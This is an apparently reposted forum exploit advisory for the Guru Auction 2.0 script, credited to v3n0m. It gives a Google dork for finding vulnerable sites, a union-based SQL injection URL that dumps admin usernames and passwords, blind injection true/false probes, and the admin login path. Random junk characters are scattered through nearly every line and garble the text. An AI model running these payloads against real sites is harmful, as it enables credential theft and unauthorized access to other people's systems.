Guru Auction 2.0 Multiple SQL Injection Vulnerabilities4 d# w1 ] t% t1 W8 a5 ]; |3 \
6 l; B% k2 y( R, d8 s
作者 : v3n0m
7 A1 B4 z+ e* Y8 H& Q应用 : Guru Auction 2.0" g4 n v- w2 B7 P- N. M A: G
Price : $49# ^0 B$ C9 v2 e0 ]9 K5 ]9 C; K
Vendor : http://www.guruscript.com/+ n. S0 k+ r! |' X5 M' _
Google Dork : inurl:subcat.php?cate_id=* ?1 Q# p) S8 e+ Y4 M& o; ^
0 A# I& o- c4 j! _; I( FSQLi p0c:
$ j4 M/ c0 n3 c) }, w2 H~~~~~~~~~~
) d7 ]" c. {- }http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
; y; _4 r; @. F7 ^$ C 8 A. [. X7 I, e" V P. q* L
% E% R3 X8 l3 q$ ` W2 Q3 J盲注 p0c:
4 g7 x8 Z. s; j0 ~# i$ {5 k# ~2 F~~~~~~~~~~
4 t( i2 Z" m+ t, V& y3 S& [4 J: Jhttp://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true' a- f; w6 v) F2 f; O3 @* u1 p6 S- ?# S
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false- P! m: R( D2 f& M/ N. v: n% i
2 A4 p0 t$ [; O# W' T a8 [3 o8 E
管理登录入口:
* K5 a0 Z x! m2 x! E9 g) i$ {* [~~~~~~~~~~- ?+ c; Q6 q# x) r# Q$ [: g/ p0 e
http://domain.tld/[path]/admin/0 j1 Y/ x, h& t5 g2 h% P' L1 \' [
|
发表于 2012-12-31 09:24:05
收藏
支持
反对